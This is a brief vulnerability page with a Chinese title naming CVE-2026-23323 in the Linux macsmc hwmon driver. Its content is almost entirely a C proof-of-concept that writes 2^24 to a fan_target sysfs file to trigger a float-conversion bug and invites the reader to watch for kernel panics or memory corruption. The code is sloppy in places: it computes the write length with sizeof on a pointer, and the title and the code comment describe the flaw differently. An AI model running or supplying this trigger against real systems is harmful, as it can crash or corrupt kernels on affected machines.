CVE-2026-23323 Linux内核macsmc驱动越界漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> /* * PoC for CVE-2026-23323 * This PoC attempts to trigger the float conversion bug * in macsmc_hwmon_write_f32 by writing a large value * to the hwmon sysfs interface. */ int main() { const char* path = "/sys/class/hwmon/hwmonX/fan1_target"; // Replace X with actual hwmon id int fd = open(path, O_WRONLY); if (fd < 0) { perror("Failed to open hwmon device"); return 1; } // Write a large value to trigger exponent logic bug (>= 2^24) const char* val = "16777216"; if (write(fd, val, sizeof(val)) < 0) { perror("Failed to write value"); } else { printf("Value written successfully. Check system logs for kernel panics or corruption.\n"); } close(fd); return 0; }